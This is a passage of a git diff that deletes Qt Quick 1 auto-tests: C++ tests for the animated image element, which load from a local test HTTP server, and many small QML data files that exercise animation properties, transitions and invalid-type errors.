anim->property("height").toInt(); - scene.addItem(qobject_cast(anim)); - QPixmap screenshot = grabScene(&scene, width, height); - - QTransform transform; - transform.translate(width, 0).scale(-1, 1.0); - QPixmap expected = screenshot.transformed(transform); - - int frame = anim->currentFrame(); - bool playing = anim->isPlaying(); - bool paused = anim->isPlaying(); - - anim->setProperty("mirror", true); - screenshot = grabScene(&scene, width, height); - - QCOMPARE(screenshot, expected); - - // mirroring should not change the current frame or playing status - QCOMPARE(anim->currentFrame(), frame); - QCOMPARE(anim->isPlaying(), playing); - QCOMPARE(anim->isPaused(), paused); - - delete anim; -} - -void tst_qdeclarativeanimatedimage::mirror_notRunning_data() -{ - QTest::addColumn("fileUrl"); - - QTest::newRow("paused") << QUrl::fromLocalFile(SRCDIR "/data/stickmanpause.qml"); - QTest::newRow("stopped") << QUrl::fromLocalFile(SRCDIR "/data/stickmanstopped.qml"); -} - -void tst_qdeclarativeanimatedimage::remote() -{ - QFETCH(QString, fileName); - QFETCH(bool, paused); - - TestHTTPServer server(14449); - QVERIFY(server.isValid()); - server.serveDirectory(SRCDIR "/data"); - - QDeclarativeEngine engine; - QDeclarativeComponent component(&engine, QUrl("http://127.0.0.1:14449/" + fileName)); - QTRY_VERIFY(component.isReady()); - - QDeclarative1AnimatedImage *anim = qobject_cast(component.create()); - QVERIFY(anim); - - QTRY_VERIFY(anim->isPlaying()); - if (paused) { - QTRY_VERIFY(anim->isPaused()); - QCOMPARE(anim->currentFrame(), 2); - } - QVERIFY(anim->status() != QDeclarative1AnimatedImage::Error); - - delete anim; -} - -void tst_qdeclarativeanimatedimage::sourceSize() -{ - QDeclarativeEngine engine; - QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/stickmanscaled.qml")); - QDeclarative1AnimatedImage *anim = qobject_cast(component.create()); - QVERIFY(anim); - QCOMPARE(anim->width(),240.0); - QCOMPARE(anim->height(),180.0); - QCOMPARE(anim->sourceSize(),QSize(160,120)); - - delete anim; -} - -void tst_qdeclarativeanimatedimage::sourceSizeReadOnly() -{ - QDeclarativeEngine engine; - QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/stickmanerror1.qml")); - QVERIFY(component.isError()); - QCOMPARE(component.errors().at(0).description(), QString("Invalid property assignment: \"sourceSize\" is a read-only property")); -} - -void tst_qdeclarativeanimatedimage::remote_data() -{ - QTest::addColumn("fileName"); - QTest::addColumn("paused"); - - QTest::newRow("playing") << "stickman.qml" << false; - QTest::newRow("paused") << "stickmanpause.qml" << true; -} - -void tst_qdeclarativeanimatedimage::invalidSource() -{ - QDeclarativeEngine engine; - QDeclarativeComponent component(&engine); - component.setData("import QtQuick 1.0\n AnimatedImage { source: \"no-such-file.gif\" }", QUrl::fromLocalFile("")); - QVERIFY(component.isReady()); - - QTest::ignoreMessage(QtWarningMsg, "file::2:2: QML AnimatedImage: Error Reading Animated Image File file:no-such-file.gif"); - - QDeclarative1AnimatedImage *anim = qobject_cast(component.create()); - QVERIFY(anim); - - QVERIFY(!anim->isPlaying()); - QVERIFY(!anim->isPaused()); - QCOMPARE(anim->currentFrame(), 0); - QCOMPARE(anim->frameCount(), 0); - QTRY_VERIFY(anim->status() == 3); -} - -void tst_qdeclarativeanimatedimage::qtbug_16520() -{ - TestHTTPServer server(14449); - QVERIFY(server.isValid()); - server.serveDirectory(SRCDIR "/data"); - - QDeclarativeEngine engine; - QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/qtbug-16520.qml")); - QTRY_VERIFY(component.isReady()); - - QDeclarative1Rectangle *root = qobject_cast(component.create()); - QVERIFY(root); - QDeclarative1AnimatedImage *anim = root->findChild("anim"); - - anim->setProperty("source", "http://127.0.0.1:14449/stickman.gif"); - - QTRY_VERIFY(anim->opacity() == 0); - QTRY_VERIFY(anim->opacity() == 1); - - delete anim; -} - -void tst_qdeclarativeanimatedimage::progressAndStatusChanges() -{ - TestHTTPServer server(14449); - QVERIFY(server.isValid()); - server.serveDirectory(SRCDIR "/data"); - - QDeclarativeEngine engine; - QString componentStr = "import QtQuick 1.0\nAnimatedImage { source: srcImage }"; - QDeclarativeContext *ctxt = engine.rootContext(); - ctxt->setContextProperty("srcImage", QUrl::fromLocalFile(SRCDIR "/data/stickman.gif")); - QDeclarativeComponent component(&engine); - component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Image *obj = qobject_cast(component.create()); - QVERIFY(obj != 0); - QVERIFY(obj->status() == QDeclarative1Image::Ready); - QTRY_VERIFY(obj->progress() == 1.0); - - QSignalSpy sourceSpy(obj, SIGNAL(sourceChanged(const QUrl &))); - QSignalSpy progressSpy(obj, SIGNAL(progressChanged(qreal))); - QSignalSpy statusSpy(obj, SIGNAL(statusChanged(QDeclarative1ImageBase::Status))); - - // Loading local file - ctxt->setContextProperty("srcImage", QUrl::fromLocalFile(SRCDIR "/data/colors.gif")); - QTRY_VERIFY(obj->status() == QDeclarative1Image::Ready); - QTRY_VERIFY(obj->progress() == 1.0); - QTRY_COMPARE(sourceSpy.count(), 1); - QTRY_COMPARE(progressSpy.count(), 0); - QTRY_COMPARE(statusSpy.count(), 0); - - // Loading remote file - ctxt->setContextProperty("srcImage", "http://127.0.0.1:14449/stickman.gif"); - QTRY_VERIFY(obj->status() == QDeclarative1Image::Loading); - QTRY_VERIFY(obj->progress() == 0.0); - QTRY_VERIFY(obj->status() == QDeclarative1Image::Ready); - QTRY_VERIFY(obj->progress() == 1.0); - QTRY_COMPARE(sourceSpy.count(), 2); - QTRY_VERIFY(progressSpy.count() > 1); - QTRY_COMPARE(statusSpy.count(), 2); - - ctxt->setContextProperty("srcImage", ""); - QTRY_VERIFY(obj->status() == QDeclarative1Image::Null); - QTRY_VERIFY(obj->progress() == 0.0); - QTRY_COMPARE(sourceSpy.count(), 3); - QTRY_VERIFY(progressSpy.count() > 2); - QTRY_COMPARE(statusSpy.count(), 3); -} - -QTEST_MAIN(tst_qdeclarativeanimatedimage) - -#include "tst_qdeclarativeanimatedimage.moc" diff --git a/tests/auto/qtquick1/qdeclarativeanimations/data/Double.qml b/tests/auto/qtquick1/qdeclarativeanimations/data/Double.qml deleted file mode 100644 index b247fcee5f..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanimations/data/Double.qml +++ /dev/null @@ -1,14 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - id: container - property bool on: false - border.color: "#ffffff" - color: "green" - width: 50 - height: 50 - NumberAnimation on x { - objectName: "animation" - running: container.on; from: 0; to: 600; loops: Animation.Infinite; duration: 2000 - } -} diff --git a/tests/auto/qtquick1/qdeclarativeanimations/data/attached.qml b/tests/auto/qtquick1/qdeclarativeanimations/data/attached.qml deleted file mode 100644 index c5d5535bb7..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanimations/data/attached.qml +++ /dev/null @@ -1,34 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 180; height: 200; - - Component { - id: delegate - Rectangle { - id: wrapper - width: 180; height: 200 - color: "blue" - - states: State { - name: "otherState" - PropertyChanges { target: wrapper; color: "green" } - } - - transitions: Transition { - PropertyAction { target: wrapper; property: "ListView.delayRemove"; value: true } - ScriptAction { script: console.log(wrapper.ListView.delayRemove ? "on" : "off") } - } - - Component.onCompleted: { - console.log(ListView.delayRemove ? "on" : "off"); - wrapper.state = "otherState" - } - } - } - - ListView { - model: 1 - delegate: delegate - } -} diff --git a/tests/auto/qtquick1/qdeclarativeanimations/data/badproperty1.qml b/tests/auto/qtquick1/qdeclarativeanimations/data/badproperty1.qml deleted file mode 100644 index 3e7ebe7440..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanimations/data/badproperty1.qml +++ /dev/null @@ -1,21 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - id: wrapper - width: 240 - height: 320 - Rectangle { - id: myRect - color: "red" - width: 50; height: 50 - x: 100; y: 100 - } - states: State { - name: "state1" - PropertyChanges { target: myRect; border.color: "blue" } - } - transitions: Transition { - ColorAnimation { target: myRect; to: "red"; property: "border.colr"; duration: 1000 } - } - Component.onCompleted: if (wrapper.state == "state1") wrapper.state = ""; else wrapper.state = "state1"; -} diff --git a/tests/auto/qtquick1/qdeclarativeanimations/data/badproperty2.qml b/tests/auto/qtquick1/qdeclarativeanimations/data/badproperty2.qml deleted file mode 100644 index 40235eee15..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanimations/data/badproperty2.qml +++ /dev/null @@ -1,21 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - id: wrapper - width: 240 - height: 320 - Rectangle { - id: myRect - color: "red" - width: 50; height: 50 - x: 100; y: 100 - } - states: State { - name: "state1" - PropertyChanges { target: myRect; border.color: "blue" } - } - transitions: Transition { - ColorAnimation { target: myRect; to: "red"; property: "border"; duration: 1000 } - } - Component.onCompleted: if (wrapper.state == "state1") wrapper.state = ""; else wrapper.state = "state1"; -} diff --git a/tests/auto/qtquick1/qdeclarativeanimations/data/badtype1.qml b/tests/auto/qtquick1/qdeclarativeanimations/data/badtype1.qml deleted file mode 100644 index 0a8a7ea7f9..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanimations/data/badtype1.qml +++ /dev/null @@ -1,12 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 240 - height: 320 - Rectangle { - color: "red" - width: 50; height: 50 - x: 100; y: 100 - PropertyAnimation on x { from: "blue"; to: "green"; } - } -} diff --git a/tests/auto/qtquick1/qdeclarativeanimations/data/badtype2.qml b/tests/auto/qtquick1/qdeclarativeanimations/data/badtype2.qml deleted file mode 100644 index 118bbbc889..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanimations/data/badtype2.qml +++ /dev/null @@ -1,12 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 240 - height: 320 - Rectangle { - color: "red" - width: 50; height: 50 - x: 100; y: 100 - NumberAnimation on x { from: "blue"; to: "green"; } - } -} diff --git a/tests/auto/qtquick1/qdeclarativeanimations/data/badtype3.qml b/tests/auto/qtquick1/qdeclarativeanimations/data/badtype3.qml deleted file mode 100644 index 2599e70cc9..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanimations/data/badtype3.qml +++ /dev/null @@ -1,12 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 240 - height: 320 - Rectangle { - color: "red" - ColorAnimation on color { from: 10; to: 15; } - width: 50; height: 50 - x: 100; y: 100 - } -} diff --git a/tests/auto/qtquick1/qdeclarativeanimations/data/badtype4.qml b/tests/auto/qtquick1/qdeclarativeanimations/data/badtype4.qml deleted file mode 100644 index 5dafb0e344..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanimations/data/badtype4.qml +++ /dev/null @@ -1,27 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - id: wrapper - width: 240 - height: 320 - Rectangle { - id: myRect - objectName: "MyRect" - color: "red" - width: 50; height: 50 - x: 100; y: 100 - MouseArea { - anchors.fill: parent - onClicked: if (wrapper.state == "state1") wrapper.state = ""; else wrapper.state = "state1"; - } - } - states: State { - name: "state1" - PropertyChanges { target: myRect; x: 200; color: "blue" } - } - transitions: Transition { - //comment out each in turn to make sure each only animates the relevant property - ColorAnimation { properties: "x,color"; duration: 1000 } //x is real, color is color - NumberAnimation { properties: "x,color"; duration: 1000 } //x is real, color is color - } -} diff --git a/tests/auto/qtquick1/qdeclarativeanimations/data/dontAutoStart.qml b/tests/auto/qtquick1/qdeclarativeanimations/data/dontAutoStart.qml deleted file mode 100644 index e2ce07fbfc..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanimations/data/dontAutoStart.qml +++ /dev/null @@ -1,18 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - id: wrapper - width: 600 - height: 400 - - Rectangle { - id: redRect - width: 100; height: 100 - color: Qt.rgba(1,0,0) - Behavior on x { - NumberAnimation { id: myAnim; objectName: "MyAnim"; target: redRect; property: "y"; to: 300; loops: Animation.Infinite} - } - - } - -} diff --git a/tests/auto/qtquick1/qdeclarativeanimations/data/dontStart.qml b/tests/auto/qtquick1/qdeclarativeanimations/data/dontStart.qml deleted file mode 100644 index 6b8031769f..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanimations/data/dontStart.qml +++ /dev/null @@ -1,19 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - id: wrapper - width: 600 - height: 400 - - Rectangle { - id: redRect - width: 100; height: 100 - color: Qt.rgba(1,0,0) - SequentialAnimation on x { - running: false - NumberAnimation { objectName: "MyAnim"; running: true } - } - - } - -} diff --git a/tests/auto/qtquick1/qdeclarativeanimations/data/dontStart2.qml b/tests/auto/qtquick1/qdeclarativeanimations/data/dontStart2.qml deleted file mode 100644 index 2563c01d4f..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanimations/data/dontStart2.qml +++ /dev/null @@ -1,19 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - id: wrapper - width: 600 - height: 400 - - Rectangle { - id: redRect - width: 100; height: 100 - color: Qt.rgba(1,0,0) - - transitions: Transition { - SequentialAnimation { - NumberAnimation { id: myAnim; objectName: "MyAnim"; running: true } - } - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativeanimations/data/dotproperty.qml b/tests/auto/qtquick1/qdeclarativeanimations/data/dotproperty.qml deleted file mode 100644 index aff69e5c12..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanimations/data/dotproperty.qml +++ /dev/null @@ -1,24 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - id: wrapper - width: 240 - height: 320 - Rectangle { - id: myRect - color: "red" - width: 50; height: 50 - x: 100; y: 100 - MouseArea { - anchors.fill: parent - onClicked: if (wrapper.state == "state1") wrapper.state = ""; else wrapper.state = "state1"; - } - } - states: State { - name: "state1" - PropertyChanges { target: myRect; border.color: "blue" } - } - transitions: Transition { - ColorAnimation { properties: "border.color"; duration: 1000 } - } -} diff --git a/tests/auto/qtquick1/qdeclarativeanimations/data/doubleRegistrationBug.qml b/tests/auto/qtquick1/qdeclarativeanimations/data/doubleRegistrationBug.qml deleted file mode 100644 index f0fdf9cfb5..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanimations/data/doubleRegistrationBug.qml +++ /dev/null @@ -1,8 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 400; height: 400 - - Double { id: dub; on: parent.width < 800 } - Component.onCompleted: dub.on = false -} diff --git a/tests/auto/qtquick1/qdeclarativeanimations/data/mixedtype1.qml b/tests/auto/qtquick1/qdeclarativeanimations/data/mixedtype1.qml deleted file mode 100644 index a97b3fd5bf..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanimations/data/mixedtype1.qml +++ /dev/null @@ -1,25 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - id: wrapper - width: 240 - height: 320 - Rectangle { - id: myRect - objectName: "MyRect" - color: "red" - width: 50; height: 50 - x: 100; y: 100 - MouseArea { - anchors.fill: parent - onClicked: if (wrapper.state == "state1") wrapper.state = ""; else wrapper.state = "state1"; - } - } - states: State { - name: "state1" - PropertyChanges { target: myRect; x: 200; border.width: 10 } - } - transitions: Transition { - PropertyAnimation { properties: "x,border.width"; duration: 1000 } //x is real, border.width is int - } -} diff --git a/tests/auto/qtquick1/qdeclarativeanimations/data/mixedtype2.qml b/tests/auto/qtquick1/qdeclarativeanimations/data/mixedtype2.qml deleted file mode 100644 index 9a77467820..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanimations/data/mixedtype2.qml +++ /dev/null @@ -1,25 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - id: wrapper - width: 240 - height: 320 - Rectangle { - id: myRect - objectName: "MyRect" - color: "red" - width: 50; height: 50 - x: 100; y: 100 - MouseArea { - anchors.fill: parent - onClicked: if (wrapper.state == "state1") wrapper.state = ""; else wrapper.state = "state1"; - } - } - states: State { - name: "state1" - PropertyChanges { target: myRect; x: 200; color: "blue" } - } - transitions: Transition { - PropertyAnimation { properties: "x,color"; duration: 1000 } //x is real, color is color - } -} diff --git a/tests/auto/qtquick1/qdeclarativeanimations/data/nonTransitionBug.qml b/tests/auto/qtquick1/qdeclarativeanimations/data/nonTransitionBug.qml deleted file mode 100644 index 04741ff348..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanimations/data/nonTransitionBug.qml +++ /dev/null @@ -1,30 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - id: root - width: 200 - height: 200 - - Rectangle { - id: mover - objectName: "mover" - } - - states: [ - State { - name: "free" - }, - State { - name: "left" - PropertyChanges { - restoreEntryValues: false - target: mover - x: 0 - } - } - ] - - transitions: Transition { - PropertyAnimation { properties: "x"; duration: 50 } - } -} diff --git a/tests/auto/qtquick1/qdeclarativeanimations/data/pauseBug.qml b/tests/auto/qtquick1/qdeclarativeanimations/data/pauseBug.qml deleted file mode 100644 index d514cf7c43..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanimations/data/pauseBug.qml +++ /dev/null @@ -1,7 +0,0 @@ -import QtQuick 1.1 - -SequentialAnimation { - id: animation - running: true - ScriptAction { script: animation.paused = true } -} diff --git a/tests/auto/qtquick1/qdeclarativeanimations/data/properties.qml b/tests/auto/qtquick1/qdeclarativeanimations/data/properties.qml deleted file mode 100644 index e6af9acc93..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanimations/data/properties.qml +++ /dev/null @@ -1,14 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 400 - height: 400 - Rectangle { - id: theRect - objectName: "TheRect" - color: "red" - width: 50; height: 50 - x: 100; y: 100 - NumberAnimation on x { to: 200 } - } -} diff --git a/tests/auto/qtquick1/qdeclarativeanimations/data/properties2.qml b/tests/auto/qtquick1/qdeclarativeanimations/data/properties2.qml deleted file mode 100644 index 60ec456c71..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanimations/data/properties2.qml +++ /dev/null @@ -1,14 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 400 - height: 400 - Rectangle { - id: theRect - objectName: "TheRect" - color: "red" - width: 50; height: 50 - x: 100; y: 100 - NumberAnimation on x { targets: theRect; properties: "x"; to: 200; } - } -} diff --git a/tests/auto/qtquick1/qdeclarativeanimations/data/properties3.qml b/tests/auto/qtquick1/qdeclarativeanimations/data/properties3.qml deleted file mode 100644 index e86eca1316..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanimations/data/properties3.qml +++ /dev/null @@ -1,14 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 400 - height: 400 - Rectangle { - id: theRect - objectName: "TheRect" - color: "red" - width: 50; height: 50 - x: 100; y: 100 - NumberAnimation on x { target: theRect; property: "x"; to: 300; } - } -} diff --git a/tests/auto/qtquick1/qdeclarativeanimations/data/properties4.qml b/tests/auto/qtquick1/qdeclarativeanimations/data/properties4.qml deleted file mode 100644 index 04d41c64c1..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanimations/data/properties4.qml +++ /dev/null @@ -1,14 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 400 - height: 400 - Rectangle { - id: theRect - objectName: "TheRect" - color: "red" - width: 50; height: 50 - x: 100; y: 100 - NumberAnimation on x { target: theRect; property: "y"; to: 200; } - } -} diff --git a/tests/auto/qtquick1/qdeclarativeanimations/data/properties5.qml b/tests/auto/qtquick1/qdeclarativeanimations/data/properties5.qml deleted file mode 100644 index e139f8c6c0..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanimations/data/properties5.qml +++ /dev/null @@ -1,14 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 400 - height: 400 - Rectangle { - id: theRect - objectName: "TheRect" - color: "red" - width: 50; height: 50 - x: 100; y: 100 - NumberAnimation on x { targets: theRect; properties: "y"; to: 200; } - } -} diff --git a/tests/auto/qtquick1/qdeclarativeanimations/data/propertiesTransition.qml b/tests/auto/qtquick1/qdeclarativeanimations/data/propertiesTransition.qml deleted file mode 100644 index 8e2b41db6c..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanimations/data/propertiesTransition.qml +++ /dev/null @@ -1,29 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 400 - height: 400 - Rectangle { - id: theRect - objectName: "TheRect" - color: "red" - width: 50; height: 50 - x: 100; y: 100 - } - - states: State { - name: "moved" - PropertyChanges { - target: theRect - x: 200 - } - } - transitions: Transition { - NumberAnimation { targets: theRect; properties: "x" } - } - - MouseArea { - anchors.fill: parent - onClicked: parent.state = "moved" - } -} diff --git a/tests/auto/qtquick1/qdeclarativeanimations/data/propertiesTransition2.qml b/tests/auto/qtquick1/qdeclarativeanimations/data/propertiesTransition2.qml deleted file mode 100644 index 6b846852ff..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanimations/data/propertiesTransition2.qml +++ /dev/null @@ -1,29 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 400 - height: 400 - Rectangle { - id: theRect - objectName: "TheRect" - color: "red" - width: 50; height: 50 - x: 100; y: 100 - } - - states: State { - name: "moved" - PropertyChanges { - target: theRect - x: 200 - } - } - transitions: Transition { - NumberAnimation { target: theRect; property: "y"; to: 200 } - } - - MouseArea { - anchors.fill: parent - onClicked: parent.state = "moved" - } -} diff --git a/tests/auto/qtquick1/qdeclarativeanimations/data/propertiesTransition3.qml b/tests/auto/qtquick1/qdeclarativeanimations/data/propertiesTransition3.qml deleted file mode 100644 index c9d8e95bd3..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanimations/data/propertiesTransition3.qml +++ /dev/null @@ -1,29 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 400 - height: 400 - Rectangle { - id: theRect - objectName: "TheRect" - color: "red" - width: 50; height: 50 - x: 100; y: 100 - } - - states: State { - name: "moved" - PropertyChanges { - target: theRect - x: 200 - } - } - transitions: Transition { - NumberAnimation { targets: theRect; properties: "y" } - } - - MouseArea { - anchors.fill: parent - onClicked: parent.state = "moved" - } -} diff --git a/tests/auto/qtquick1/qdeclarativeanimations/data/propertiesTransition4.qml b/tests/auto/qtquick1/qdeclarativeanimations/data/propertiesTransition4.qml deleted file mode 100644 index 61e8a96788..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanimations/data/propertiesTransition4.qml +++ /dev/null @@ -1,29 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 400 - height: 400 - Rectangle { - id: theRect - objectName: "TheRect" - color: "red" - width: 50; height: 50 - x: 100; y: 100 - } - - states: State { - name: "moved" - PropertyChanges { - target: theRect - x: 200 - } - } - transitions: Transition { - NumberAnimation { target: theRect; properties: "x" } - } - - MouseArea { - anchors.fill: parent - onClicked: parent.state = "moved" - } -} diff --git a/tests/auto/qtquick1/qdeclarativeanimations/data/propertiesTransition5.qml b/tests/auto/qtquick1/qdeclarativeanimations/data/propertiesTransition5.qml deleted file mode 100644 index b023943007..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanimations/data/propertiesTransition5.qml +++ /dev/null @@ -1,29 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 400 - height: 400 - Rectangle { - id: theRect - objectName: "TheRect" - color: "red" - width: 50; height: 50 - x: 100; y: 100 - } - - states: State { - name: "moved" - PropertyChanges { - target: theRect - x: 200 - } - } - transitions: Transition { - NumberAnimation { targets: theRect; property: "x" } - } - - MouseArea { - anchors.fill: parent - onClicked: parent.state = "moved" - } -} diff --git a/tests/auto/qtquick1/qdeclarativeanimations/data/propertiesTransition6.qml b/tests/auto/qtquick1/qdeclarativeanimations/data/propertiesTransition6.qml deleted file mode 100644 index 7c88a7f038..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanimations/data/propertiesTransition6.qml +++ /dev/null @@ -1,29 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 400 - height: 400 - Rectangle { - id: theRect - objectName: "TheRect" - color: "red" - width: 50; height: 50 - x: 100; y: 100 - } - - states: State { - name: "moved" - PropertyChanges { - target: theRect - x: 200 - } - } - transitions: Transition { - NumberAnimation { targets: theItem; properties: "x" } - } - - MouseArea { - anchors.fill: parent - onClicked: parent.state = "moved" - } -} diff --git a/tests/auto/qtquick1/qdeclarativeanimations/data/propertiesTransition7.qml b/tests/auto/qtquick1/qdeclarativeanimations/data/propertiesTransition7.qml deleted file mode 100644 index fbef95e572..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanimations/data/propertiesTransition7.qml +++ /dev/null @@ -1,29 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 400 - height: 400 - Rectangle { - id: theRect - objectName: "TheRect" - color: "red" - width: 50; height: 50 - x: 100; y: 100 - } - - states: State { - name: "moved" - PropertyChanges { - target: theRect - x: 200 - } - } - transitions: Transition { - SpringAnimation { targets: theRect; properties: "x"; velocity: 10000 } - } - - MouseArea { - anchors.fill: parent - onClicked: parent.state = "moved" - } -} diff --git a/tests/auto/qtquick1/qdeclarativeanimations/data/registrationBug.qml b/tests/auto/qtquick1/qdeclarativeanimations/data/registrationBug.qml deleted file mode 100644 index 7dc29f9315..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanimations/data/registrationBug.qml +++ /dev/null @@ -1,18 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - id: rect - width: 200 - height: 200 - - property bool animating: true - property int value: 0 - - NumberAnimation { - target: rect - property: "value" - running: rect.animating - to: 100 - duration: 50 - } -} diff --git a/tests/auto/qtquick1/qdeclarativeanimations/data/rotation.qml b/tests/auto/qtquick1/qdeclarativeanimations/data/rotation.qml deleted file mode 100644 index ac158df719..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanimations/data/rotation.qml +++ /dev/null @@ -1,48 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 600; height: 200 - - Row { - spacing: 5 - Rectangle { - id: rr - objectName: "rr" - color: "red" - width: 100; height: 100 - } - Rectangle { - id: rr2 - objectName: "rr2" - color: "red" - width: 100; height: 100 - } - Rectangle { - id: rr3 - objectName: "rr3" - color: "red" - width: 100; height: 100 - } - Rectangle { - id: rr4 - objectName: "rr4" - color: "red" - width: 100; height: 100 - } - } - - states: State { - name: "state1" - PropertyChanges { target: rr; rotation: 370 } - PropertyChanges { target: rr2; rotation: 370 } - PropertyChanges { target: rr3; rotation: 370 } - PropertyChanges { target: rr4; rotation: 370 } - } - - transitions: Transition { - RotationAnimation { target: rr; direction: RotationAnimation.Numerical; duration: 1000 } - RotationAnimation { target: rr2; direction: RotationAnimation.Clockwise; duration: 1000 } - RotationAnimation { target: rr3; direction: RotationAnimation.Counterclockwise; duration: 1000 } - RotationAnimation { target: rr4; direction: RotationAnimation.Shortest; duration: 1000 } - } -} diff --git a/tests/auto/qtquick1/qdeclarativeanimations/data/runningTrueBug.qml b/tests/auto/qtquick1/qdeclarativeanimations/data/runningTrueBug.qml deleted file mode 100644 index 7d33ed7175..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanimations/data/runningTrueBug.qml +++ /dev/null @@ -1,30 +0,0 @@ -import QtQuick 1.0 -Rectangle { - color: "skyblue" - width: 500 - height: 200 - Rectangle { - objectName: "cloud" - color: "white" - y: 50 - width: 100 - height: 100 - - SequentialAnimation on x { - loops: Animation.Infinite - running: true - NumberAnimation { - id: firstAnimation - from: 0 - to: 500 - duration: 5000 - } - NumberAnimation { - id: secondAnimation - from: -100 - to: 0 - duration: 1000 - } - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativeanimations/data/transitionAssignmentBug.qml b/tests/auto/qtquick1/qdeclarativeanimations/data/transitionAssignmentBug.qml deleted file mode 100644 index 99b9ac57d4..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanimations/data/transitionAssignmentBug.qml +++ /dev/null @@ -1,12 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 400 - height: 400 - - property bool nullObject - Component.onCompleted: nullObject = transitions.length > 0 && transitions[0] === null - - property list myTransitions: [Transition {}, Transition {}] - transitions: myTransitions -} diff --git a/tests/auto/qtquick1/qdeclarativeanimations/data/valuesource.qml b/tests/auto/qtquick1/qdeclarativeanimations/data/valuesource.qml deleted file mode 100644 index fa9cd400ac..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanimations/data/valuesource.qml +++ /dev/null @@ -1,14 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 400 - height: 400 - Rectangle { - id: rect - objectName: "MyRect" - color: "red" - width: 50; height: 50 - x: 100; y: 100 - NumberAnimation on x { id: anim; objectName: "MyAnim"; to: 200 } - } -} diff --git a/tests/auto/qtquick1/qdeclarativeanimations/data/valuesource2.qml b/tests/auto/qtquick1/qdeclarativeanimations/data/valuesource2.qml deleted file mode 100644 index f6343a1bff..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanimations/data/valuesource2.qml +++ /dev/null @@ -1,14 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 400 - height: 400 - Rectangle { - id: rect - objectName: "MyRect" - color: "red" - width: 50; height: 50 - x: 100; y: 100 - NumberAnimation on x { id: anim; objectName: "MyAnim"; running: false; to: 200 } - } -} diff --git a/tests/auto/qtquick1/qdeclarativeanimations/qdeclarativeanimations.pro b/tests/auto/qtquick1/qdeclarativeanimations/qdeclarativeanimations.pro deleted file mode 100644 index 7998a069b6..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanimations/qdeclarativeanimations.pro +++ /dev/null @@ -1,8 +0,0 @@ -CONFIG += testcase -TARGET = tst_qdeclarativeanimations -SOURCES += tst_qdeclarativeanimations.cpp -macx:CONFIG -= app_bundle -DEFINES += SRCDIR=\\\"$$PWD\\\" -CONFIG += parallel_test - -QT += core-private gui-private widgets-private v8-private declarative-private qtquick1-private testlib diff --git a/tests/auto/qtquick1/qdeclarativeanimations/tst_qdeclarativeanimations.cpp 